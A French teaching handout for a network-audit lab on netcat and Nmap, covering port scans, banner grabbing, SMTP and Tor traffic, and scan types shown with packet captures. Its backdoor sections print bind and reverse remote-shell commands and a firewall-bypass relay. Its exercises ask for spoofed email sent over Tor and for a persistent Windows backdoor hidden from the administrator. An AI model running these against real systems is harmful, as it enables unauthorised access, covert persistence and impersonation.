Audit du réseau

Utiliser Netcat

Objectifs

  • Travail en solo ou en équipe :
    • topologie client
    • topologies client/server
    • pare-feu
  • Monter des sessions TCP et UDP avec Netcat :
    • dans le LAN
    • dans l’Internet
    • A travers un pare-feu
  • Rapport de lab

Prenez uniquement des cibles autorisées !

Rappel sur netstat

netstat, pour « network statistics », est une ligne de commande affichant des informations sur les connexions réseau, les tables de routage et un certain nombre de statistiques dont ceux des interfaces, sans oublier les connexions masquées, les membres multicast, et enfin, les messages netlink. La commande est disponible sous Unix (et ses dérivés dont Linux) et sous Windows NT compatibles.

Les paramètres utilisés avec cette commande doivent être préfixés avec un « moins » plutôt qu'un slash (/).

  • -a : Affiche toutes les connexions TCP actives et les ports TCP et UDP sur lesquels l'ordinateur écoute.
  • -b : Affiche le nom du programme impliqué dans la création de chaque connexion et ports ouverts (Windows uniquement).
  • -p : Affiche le nom du programme impliqué dans la création de chaque connexion et le PID associé (Linux uniquement).
  • -e : Affiche les statistiques ethernet comme le nombre d'octets et de paquets envoyés et reçus. Ce paramètre peut être combiné avec -s.
  • -n : Affiche les connexions TCP actives, cependant les adresses et les ports sont affichés au format numérique, sans tentative de résolution de nom.
  • -o : Affiche les connexions TCP actives et inclut l'identifiant du processus (PID) pour chaque connexion. Vous pouvez retrouver la correspondance entre les PID et les applications dans le gestionnaire des tâches de Windows. Ce paramètre peut être combiné avec -a, -n et * -p. Ce paramètre est disponible sous Windows XP, et Windows 2003 Server mais pas sous Windows 2000.
  • -i : Affiche les interfaces réseaux et leur statistiques (non disponibles sous Windows).
  • -r : Affiche le contenu de la table de routage (équivalent à route print sous Windows).
  • -s : Affiche les statistiques par protocole. Par défaut, les statistiques sont affichées pour IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP et UDPv6. L'option -p peut être utilisée pour spécifier un sous-jeu de la valeur par défaut.
  • /? : Affiche l'aide (seulement sous Windows).

Netcat

Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.

Il est conçu pour être un outil “back-end “ et peut-être utilisé directement par d’autres programmes et/ou scripts.

Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).

Netcat n'est pas nécessairement un outil de sécurité mais il est avant tout un outil de hacking. A priori, quelque soit l'environnement dans lequel il est utilisé, il n'exige aucun droit d'administration pour être exécuté.

Réalisons toutefois que cet outil rudimentaire peut mener diverses attaques qui sont vues ici à titre pédagogique :

  • scan réseau,
  • scan de ports TCP/UDP,
  • Banner grabbing
  • Chat ASCII
  • Remote Backdoor Shell
  • Reverse Remote Backdoor Shell
  • Communications sécurisées SSL/Tor

Couteau suisse TCP/UDP

Binaire Windows à télécharger : https://joncraton.org/files/nc111nt.zip (mot de passe : nc)

Syntaxe de Netcat

$ nc -h
[v1.10]
connect to somewhere:    nc [-options] hostname port[s] [ports] ... 
listen for inbound:    nc -l -p port [-options] [hostname] [port]
options:
    -g gateway    source-routing hop point[s], up to 8
    -G num        source-routing pointer: 4, 8, 12, ...
    -h            this cruft
    -i secs        delay interval for lines sent, ports scanned
    -l            listen mode, for inbound connects
    -n            numeric-only IP addresses, no DNS
    -o file        hex dump of traffic
    -p port        local port number
    -r            randomize local and remote ports
    -s addr        local source address
    -u            UDP mode
    -v            verbose [use twice to be more verbose]
    -w secs        timeout for connects and final net reads
    -z            zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Labs à réaliser

  • Topologies client :
    • Scan de ports et multi-ports
    • Trafic Legacy (HTTP, SMTP, ...)
    • Torify du trafic netcat
  • Topologies client/serveur :
    • Charge TCP/UDP en ASCII (chat)
    • Transfert de fichier
    • Backdoor Shell
    • Reverse Backdoor Shell
    • Relay à travers un proxy filtrant

Consoles nécessaires

  1. Ouvrez un bloc-note gdrive pour y collecter vos essais (à partager avec le prof). Une machine (topologies client) dans un premier temps ou deux machines (topologies client/server).
  2. Une console de commande pour Netcat (Linux ou Windows).
  3. Une console de diagnostic (netstat ou ipconfig).
  4. Wireshark ou tcpdump.
  5. Sous Windows configurer le pare-feu finement.

Topologies client

Topologie client

Scan de ports

nc -v -w 1 -z cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
nc -vzw 1 cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
nc -vzw 1 cisco.foo.bar 23
cisco.foo.bar [8.9.10.11] 23 (telnet) : Connection refused
nc -vzw 1 cisco.foo.bar 53
cisco.foo.bar [8.9.10.11] 53 (domain) : Connection refused
nc -vzw 1 cisco.foo.bar 8080
cisco.foo.bar [8.9.10.11] 8080 (http-alt) open
nc -vzw 1 cisco.foo.bar 25
cisco.foo.bar [8.9.10.11] 25 (smtp) : Connection refused
nc -vzw 1 relay.skynet.be 25
relay.skynet.be [195.238.5.128] 25 (smtp) open
nc -vzw 1 8.8.8.8 53
google-public-dns-a.google.com [8.8.8.8] 53 (domain) open

Scan Multi-ports

nc -vzw 1 cisco.foo.bar 1-255
cisco.foo.bar [8.9.10.11] 143 (imap) open
cisco.foo.bar [8.9.10.11] 111 (sunrpc) open
cisco.foo.bar [8.9.10.11] 110 (pop3) open
cisco.foo.bar [8.9.10.11] 80 (http) open
cisco.foo.bar [8.9.10.11] 22 (ssh) open

Que se passe-t-il avec l’option -r ?

nc -rvzw 1 cisco.foo.bar 1-255

Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?

Ports ouverts / ports fermés

Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?

nc -vzw 1 cisco.foo.bar 80-81 :

Banner Gathering

nc -v cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze1
echo -e "HEAD / HTTP/1.0\n" | nc -v cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Sun, 12 Jan 2014 15:32:26 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...

Script d’envoi SMTP

#!/bin/bash
# script to send test mail with netcat. 
# expects the following arguments:
# 1. recepient mail server
# 2. port (typically 25 or 465)
# 3. mail from (e.g. [email protected])
# 4. mail to (e.g. [email protected])

# for mail_input function
from=$3
to=$4

# error handling
function err_exit { echo -e 1>&2; exit 1; }



# check if proper arguments are supplied
if [ $# -ne 4 ]; then
  echo -e "\n Usage error!"
  echo " This script requires four arguments:"
  echo " 1. recepient mail server"
  echo " 2. port (typically 25 or 465)"
  echo " 3. mail from (e.g. [email protected])"
  echo " 4. mail to (e.g. [email protected])"
  exit 1
fi

# create message
function mail_input { 
#  echo "ehlo $(hostname -f)"
  echo "ehlo 10.10.10.10" 
  echo "MAIL FROM: <$from>"
  echo "RCPT TO: <$to>"
  echo "DATA"
  echo "From: <$from>"
  echo "To: <$to>"
  echo "Subject: Testing one two three"
  echo "This is only a test. Please do not panic. If this works, then all is well, else all is not well."
  echo "In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit."
  echo "."
  echo "quit"
}
# test
#mail_input

# send
mail_input | nc $1 $2 || err_exit
vi smtp-test.sh
chmod +x smtp-test.sh
./smtp-test.sh relay.skynet.be 25 [email protected] [email protected]
220 relay.skynet.be ESMTP
250-relay.skynet.be
250-8BITMIME
250 SIZE 16777216
250 sender <[email protected]> ok
250 recipient <[email protected]> ok
354 go ahead
250 ok:  Message 170208462 accepted
221 relay.skynet.be
  • relay.skynet.be 25 -> trafic SMTP autorisé par le FAI Test à faire chez son propre FAI ou un relai SMTP ouvert.

Message reçu

Delivered-To: [email protected]
Received: by 10.182.155.65 with SMTP id vu1csp53918obb;
        Sat, 11 Jan 2014 20:21:59 -0800 (PST)
X-Received: by 10.194.85.75 with SMTP id f11mr15767833wjz.47.1389500518905;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Return-Path: <[email protected]>
Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be. [195.238.6.171])
        by mx.google.com with ESMTP id bp4si6953453wjb.110.2014.01.11.20.21.58
        for <[email protected]>;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning [email protected] does not designate 195.238.6.171 as permitted sender) client-ip=195.238.6.171;
Authentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning [email protected] does not designate 195.238.6.171 as permitted sender) [email protected]
Message-Id: <[email protected]>
Date: 12 Jan 2014 05:21:36 +0100
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AnGJADQY0lJtgd8C/2dsb2JhbABagwtwB4IvJ4J1okgBkg4BYxd0gkWBeiSIGwGaEpQypGSCZ4E6BKosg2k
Received: from 2.223-129-109.adsl-dyn.isp.belgacom.be (HELO 10.10.10.10) ([109.129.223.2])
  by relay.skynet.be with ESMTP; 12 Jan 2014 05:21:36 +0100
From: <[email protected]>
To: <[email protected]>
Subject: Testing one two three

This is only a test. Please do not panic. If this works, then all is well, else all is not well.
In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Connaître son adresse IP publique

nc -v checkip.eurodyndns.org 80
checkip.eurodyndns.org [80.92.65.89] 80 (http) open

GET http://checkip.eurodyndns.org/ HTTP/1.0\n

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:46:47 GMT
Server: Apache
Content-Length: 160
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.129.223.2
<br>Hostname: 109.129.223.2
</body></html>

Torify le trafic netcat

Tor permet de rendre anonymes tous les échanges Internet basés sur le protocole de communication TCP.

ncat --proxy 127.0.0.1:9050 --proxy-type socks4 checkip.eurodyndns.org 80
GET http://checkip.eurodyndns.org/ HTTP/1.0\n 

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:49:32 GMT
Server: Apache
Content-Length: 169
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.163.234.5
<br>Hostname: hessel3.torservers.net
</body></html>

Topologies client/serveur

Sockets et sessions TCP maîtrisées

Vérifiez les sessions établies dans une seconde console Ouverture d’un socket en mode listening du port 1337 (Serveur TCP 1337), dans la console :

nc -l -p 1337

Pour faire très simple, on ouvre le port 1337 sur notre machine en local et on tend l’oreille !

(Il vaut mieux autoriser le pare-feu)

Connexion du client au serveur

nc cisco.foo.bar 1337

Chat TCP1337

Résultat : http://www.cloudshark.org/captures/b648fa680eae

Client/Serveur UDP

Le paramètre -u monte des sessions UDP.

Illustrez ce cas dans un exemple.

Capturez ce trafic et comparez aux messages de chat en TCP.

Transfert de fichiers

Un fichier à transférer “file.txt” du serveur Alice au client Bob (download).

Serveur Alice

nc -l 4444 < file.txt

Client Bob

nc -n 192.168.1.100 4444 > file.txt

Un fichier à transférer “file.txt” du client Bob au serveur Alice (upload)

Serveur Alice

nc -l 4444 > file.txt

Client Bob

nc 192.168.1.100 4444 < file.txt

Chiffrement du trafic avec openssl

Serveur

nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt

Client

openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444

Backdoor

Pour exécuter une attaque Backdoor :

Sur la machine à joindre

nc –l –p 3333 –v –e cmd.exe

ou

nc -l -p 3333 -v -e /bin/bash -i

Sur la machine distante

nc 8.9.10.11 3333

Oui mais comment traverser un pare-feu ?

Reverse Backdoor

Pour exécuter une attaque Backdoor :

Sur la machine à joindre

nc –l –p 3333

Sur la machine distante

nc 8.9.10.11 3333 -e cmd.exe

Configuration relay

Sometimes its useful to have little things like this available. But first, let me outline the scenario :

  • You want ssh connection with a system
  • The firewall is blocking inbound SSH connections

Assuming that you already have some sort of shell access on the target machine, This is your nice little work around:

$ mknod redirect p
$ nc -l -p [permitted_inbound_port] 0< redirect | nc 127.0.0.1 22 1> redirect

It works with two simply steps:

Travail de laboratoire

Exercices

  • Mettre en oeuvre chaque attaque du document et rendre un travail qui reprend la réalisation de trois scripts : Script qui scanne une plage d’adresses IP et de ports en guise de paramètres.
  • Script qui vérifie la présence de TOR et qui envoie un courriel usurpé en annonçant l’adresse IP publique anonyme, (l’adresse IP publique du FAI et l’adresse IP privée) de l’expéditeur.
  • Script de transfert de dossier compressé et crypté en openssl
  • Question de réflexion : comment installer un reverse backdoor shell Windows permanent à l’insu de l’administrateur ?

Document de laboratoire

Pour chaque attaque, un document (gdrive) qui vient remplir un cahier de laboratoires :

  • Un diagramme (LucidChart) avec le nom des machines, adresses IP, ports, rôles, filtrage.
  • Etat des sessions (netstat -a)
  • Capture (Wireshark et Cloudshark)
  • Console de commande netcat
  • Console auxiliaire (TOR)
  • Indiquer les paramètres de pare-feu

Utiliser Nmap

Etablissement de sessions TCP 3 Way Handshake

Machine à état TCP

Numéros de séquence et acquittement

Drapeaux TCP

  • SYN : demande d'établissement de session ou de synchronisation des numéros de séquence
  • ACK : confirme la transmission reçue et identifie le prochain numéro de séquence attendu (accusé de réception anticipatif)
  • PSH : demande de pousser (envoyer) les données en mémoire tampon
  • URG : données urgentes
  • FIN : plus de transmissions à réaliser
  • RST : remise à zéro d'une connexion

Un scan de ports TCP implique les champs drapeaux SYN, ACK et RST.

Scan de ports avec netcat

Des exercices avec Netcat ont déjà été proposés dans une section ci-dessus.

Scan de ports avec NMAP

Nmap (“Network Mapper”) est un outil open source d'exploration réseau et d'audit de sécurité. Il a été conçu pour rapidement scanner de grands réseaux, mais il fonctionne aussi très bien sur une cible unique.

Nmap est généralement utilisé pour les audits de sécurité mais de nombreux gestionnaires de systèmes et de réseaux l'apprécient pour des tâches de routine comme les inventaires de réseau, la gestion des mises à jour planifiées ou la surveillance des hôtes et des services actifs.

L'état d'un port est soit :

  • ouvert (open) : indique que l'application de la machine cible est à l'écoute de paquets/connexions sur ce port.
  • filtré (filtered) : indique qu'un pare-feu, un dispositif de filtrage ou un autre obstacle réseau bloque ce port, empêchant ainsi Nmap de déterminer s'il s'agit d'un port ouvert ou fermé.
  • fermé (closed) : n'ont pas d'application en écoute, bien qu'ils puissent quand même s'ouvrir n'importe quand.
  • ou non-filtré (unfiltered) : les ports répondent aux paquets de tests (probes) de Nmap, mais Nmap ne peut déterminer s'ils sont ouverts ou fermés.

Nmap renvoie également les combinaisons d'états ouverts|filtré et fermés|filtré lorsqu'il n'arrive pas à déterminer dans lequel des deux états possibles se trouve le port.

Scan TCP Connect

C'est la commande -sTqui spécifie ce type de scan traditionnel. Voici des sorties sur un scan TCP Connect sur les ports biens connus d'une machine metaspoitable.

Plutôt que d'écrire des paquets bruts comme le font la plupart des autres types de scan, Nmap demande au système d'exploitation qui l'exécute d'établir une connexion sur le port de la machine cible grâce à l'appel système connect(). C'est le même appel système de haut-niveau qui est appelé par les navigateurs Web, les clients P2P et la plupart des applications réseaux qui veulent établir une connexion.

# nmap -sT -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:30 CET
Nmap scan report for 192.168.122.191
Host is up (0.0099s latency).
Not shown: 978 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2.50 seconds

Capture sur le port TCP 21 avec tcpdump

# tcpdump tcp port 21 &
[1] 14109
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

Scan sur le port TCP 21 avec nmap

# nmap -sT -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds

Résultat de la capture de Kali2-0C vers 192.168.122.191.ftp :

  1. Echange SYN, SYN/ACK; ACK
  2. Message RST/ACK

SYN

# 20:32:36.128889 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [S], seq 2622041564, win 29200, options [mss 1460,sackOK,TS val 4298823 ecr 0,nop,wscale 10], length 0

SYN/ACK

20:32:36.129109 IP 192.168.122.191.ftp > Kali2-0C.49785: Flags [S.], seq 3495000159, ack 2622041565, win 5792, options [mss 1460,sackOK,TS val 156165 ecr 4298823,nop,wscale 6], length 0

ACK

20:32:36.129130 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [.], ack 1, win 29, options [nop,nop,TS val 4298823 ecr 156165], length 0

RST/ACK


20:32:36.129155 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [R.], seq 1, ack 1, win 29, options [nop,nop,TS val 0 ecr 156165], length 0

Scan furtif TCP SYN

-sSfurtif Scan TCP SYN

Le scan SYN est celui par défaut et le plus populaire pour de bonnes raisons. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu'il n'est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu'il ne termine jamais les connexions TCP. Il marche également contre toute pile respectant TCP, au lieu de dépendre des particularités environnementales spécifiques comme c'est le cas avec les scans Fin/Null/Xmas, Maimon ou Idle. En plus, il permet une différentiation fiable entre les états ouvert, fermé et filtré.

Cette technique est souvent appelée le scan demi-ouvert (half-open scanning), car il n'établit pas pleinement la connexion TCP. Il envoie un paquet SYN et attend sa réponse, comme s'il voulait vraiment ouvrir une connexion. Une réponse SYN/ACK indique que le port est en écoute (ouvert), tandis qu'une RST (reset) indique le contraire. Si aucune réponse n'est reçue après plusieurs essais, le port est considéré comme étant filtré. Le port est également considéré comme étant filtré si un message d'erreur « unreachable ICMP (type 3, code 1,2, 3, 9, 10 ou 13) » est reçu.

Exemple d'un port ouvert :

# nmap -sS -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:49 CET
Nmap scan report for 192.168.122.191
Host is up (0.00067s latency).
PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
# 20:49:50.664419 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [S], seq 943880828, win 1024, options [mss 1460], length 0
20:49:50.664728 IP 192.168.122.191.ftp > Kali2-0C.48258: Flags [S.], seq 2525202399, ack 943880829, win 5840, options [mss 1460], length 0
20:49:50.664751 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [R], seq 943880829, win 0, length 0
20:49:50.764623 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [S], seq 943946365, win 1024, options [mss 1460], length 0
20:49:50.764939 IP 192.168.122.191.ftp > Kali2-0C.48259: Flags [S.], seq 2529707968, ack 943946366, win 5840, options [mss 1460], length 0
20:49:50.764961 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [R], seq 943946366, win 0, length 0

Exemple d'un port fermé :

# tcpdump -v tcp port 88 &
[1] 20216
# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
# nmap -sS -p 88 -Pn 192.168.122.1

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:54 CET
Nmap scan report for 192.168.122.1
Host is up (0.00020s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: FE:54:00:01:69:7C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
# 20:54:37.000511 IP (tos 0x0, ttl 37, id 14382, offset 0, flags [none], proto TCP (6), length 44)
    Kali2-0C.44374 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc2 (correct), seq 2292300697, win 1024, options [mss 1460], length 0
20:54:37.000625 IP (tos 0x0, ttl 64, id 33431, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.1.kerberos > Kali2-0C.44374: Flags [R.], cksum 0x486b (correct), seq 0, ack 2292300698, win 0, length 0
20:54:37.100696 IP (tos 0x0, ttl 43, id 1489, offset 0, flags [none], proto TCP (6), length 44)
    Kali2-0C.44375 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc3 (correct), seq 2292235160, win 1024, options [mss 1460], length 0
20:54:37.100901 IP (tos 0x0, ttl 64, id 33433, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.1.kerberos > Kali2-0C.44375: Flags [R.], cksum 0x486c (correct), seq 0, ack 2292235161, win 0, length 0

Scan d'une Windows 10 pro avec pare-feu et RDP activé

# nmap 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:08 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00061s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds

Scan d'une machine Windows 8.1 sans pare-feu

# nmap 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:14 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00046s latency).
Not shown: 991 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
10243/tcp open  unknown
49155/tcp open  unknown
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 25.48 seconds

Scan d'un machine Windows XP familial

# nmap 192.168.122.228

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:18 CET
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds

Autres scans Nmap

Scans furtifs Scans TCP Null, FIN et Xmas

-sN; -sF; -sX (Scans TCP Null, FIN et Xmas)

Ces trois types de scans exploitent une subtile faille de la RFC TCP pour différencier les ports entre ouverts et fermés. La page 65 indique que “si le port [de destination] est dans l'état fermé... un segment ne contenant pas le drapeau RST provoque l'émission d'un paquet RST comme réponse.”. La page suivante indique que pour les paquets envoyés à des ports sans aucun des drapeaux SYN, RST ou ACK activés: “il est peut vraisemblable que cela arrive, mais si cela est le cas, il faut rejeter le segment.”

Pour les systèmes respectant ce texte de la RFC, soit uniquement des hôtes UNIX et certainement pas Windows, chaque paquet ne contenant ni SYN, ni RST, ni ACK se voit renvoyé un RST si le port est fermé et aucune réponse si le port est ouvert. Tant qu'aucun de ces drapeaux n'est utilisé, toute combinaison des trois autres (FIN, PSH et URG) son valides. Nmap exploite cela avec les trois types de scans:

Scan Null (-sN)

N'active aucun des bits (les drapeaux de l'en-tête TCP vaut 0).

Scan FIN (-sF)

N'active que le bit FIN.

Scan Xmas (-sX)

Active les drapeaux FIN, PSH et URG, illuminant le paquet comme un arbre de Noël (NDT: la fracture cognitive entre la culture anglo-saxonne et française se ressent fortement dans cette traduction...).

Ces trois types de scan ont exactement le même comportement, sauf pour les drapeaux TCP utilisés dans des paquets de tests (probes packets). Si un RST est reçu, le port est considéré comme étant fermé, tandis qu'une absence de réponse signifiera qu'il est dans l'état ouvert|filtré. Le port est marqué comme filtré si un message d'erreur ICMP « unreachable (type 3, code 1, 2, 3, 9, 10 ou 13) » est reçu.

L'avantage principal de ces types de scans est qu'ils peuvent furtivement traverser certains pare-feux ou routeurs filtrants sans état de connexion (non-statefull). Un autre avantage est qu'ils sont même un peu plus furtifs que le scan SYN. N'y comptez pas trop dessus cependant -- la plupart des IDS modernes sont configurés pour les détecter. L'inconvénient majeur est que tous les systèmes ne respectent pas la RFC 793 à la lettre. Plusieurs systèmes renvoient des RST aux paquets quelque soit l'état du port de destination, qu'il soit ouvert ou pas. Ceci fait que tous les ports sont considérés commefermé. Les plus connus des systèmes qui ont ce comportement sont Microsoft Windows, plusieurs équipements Cisco, BSDI et IBM OS/400. Ce type de scan fonctionne cependant très bien contre la plupart des systèmes basés sur UNIX. Un autre désagrément de ce type de scan et qu'ils ne peuvent pas distinguer les ports ouvertsde certains autres qui sont filtrés, vous laissant face à un laconique ouvert|filtré.

Exemples :

# nmap -sF -p 88 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:35 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali2-0C:~# 21:35:18.504313 IP (tos 0x0, ttl 40, id 10670, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58705 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f33 (correct), seq 2577626922, win 1024, length 0
21:35:18.504489 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58705: Flags [R.], cksum 0x431f (correct), seq 0, ack 2577626923, win 0, length 0
21:35:18.604488 IP (tos 0x0, ttl 39, id 51250, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58706 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f32 (correct), seq 2577561387, win 1024, length 0
21:35:18.604675 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58706: Flags [R.], cksum 0x431e (correct), seq 0, ack 2577561388, win 0, length 0
# nmap -sF -p 80 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.0012s latency).
PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# 21:32:56.020304 IP (tos 0x0, ttl 39, id 17011, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.53120 > 192.168.122.191.http: Flags [F], cksum 0x4883 (correct), seq 2828956856, win 1024, length 0
21:32:56.120480 IP (tos 0x0, ttl 50, id 17448, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.53121 > 192.168.122.191.http: Flags [F], cksum 0x4880 (correct), seq 2829022393, win 1024, length 0

Scan passif Idle Scan

-sI <zombie host[:probeport]>

Un idle scan, dumb scan ou zombi scan est une méthode de balayage de port TCP qui, grâce à des utilitaires tels que Nmap et Hping, utilise l'envoi de paquets possédant une adresse IP usurpée.

Cet exploit complexe permet à la fois de balayer les ports d'une machine ainsi que de mettre en évidence les liaisons de confiance (s'appuyant sur les adresses IP) entre les machines. L'attaque consiste en l'envoi de paquets forgés vers une machine donnée – la cible – dans le but d'obtenir des informations à propos d'elle mais via une autre machine – le zombi.

Cette méthode de scan avancé permet de faire un véritable scan de port TCP en aveugle, (dans le sens où aucun paquet n'est envoyé directement à la cible depuis votre vraie adresse IP). En effet, la technique employée consiste à récolter des informations sur les ports ouverts de la cible en utilisant un exploit basé sur la prédictibilité de la génération des identifiants de fragmentation IP de l'hôte relais (le zombie). Les systèmes IDS considéreront que le scan provient de la machine zombie que vous avez spécifié (qui doit remplir certains critères).

L'idle scan exploite le fait que l'on peut, sous certaines conditions, prédire les numéros d'identification IP (IPID). L'attaquant doit d'abord rechercher une machine avec une séquence d'IPID prévisible. Par exemple, le numéro d'identification sera incrémenté de 1 à chaque fois. Les dernières versions de Linux, Solaris et OpenBSD ne sont pas des cibles appropriées puisque les algorithmes de génération d'IPID ont été corrigés. Les machines choisies pour être utilisées à ce niveau sont parfois appelées « zombis ». Une fois qu'une machine zombi a été trouvée, la première étape est de déterminer le numéro IPID actuel de la machine : en envoyant un pacquet SYN/ACK au zombi, le pirate recevra un paquet RST portant le numéro de séquence.

L'étape suivante consiste en l'envoi d'un paquet SYN à la machine cible, en usurpant l'adresse IP du zombi. Si le port de la machine cible est ouvert, celle-ci répondra au zombi avec un paquet SYN/ACK. Le zombi va donc envoyer un paquet RST à la cible car il n'est pas réellement l'émetteur du premier paquet SYN. Puisque la machine zombi a dû envoyer le paquet RST, elle incrémente son IPID. C'est ce qui permet à l'attaquant de découvrir si le port de la cible est ouvert. La dernière étape est donc la vérification de l'IPID, en envoyant à nouveau un paquet SYN/ACK au zombi.

Si l'IPID contenu dans le paquet RST reçu en réponse a été incrémenté deux fois, on est certain que le port cible est ouvert. En revanche si l'IPID n'est incrémenté qu'une fois, alors l'attaquant saura que ce port est fermé ou filtré.

Exemple avec nmap une cible Windows 8.1 et un zombi Windows XP familial :

# nmap -PN -p135-139 -sI 192.168.122.228 192.168.122.198

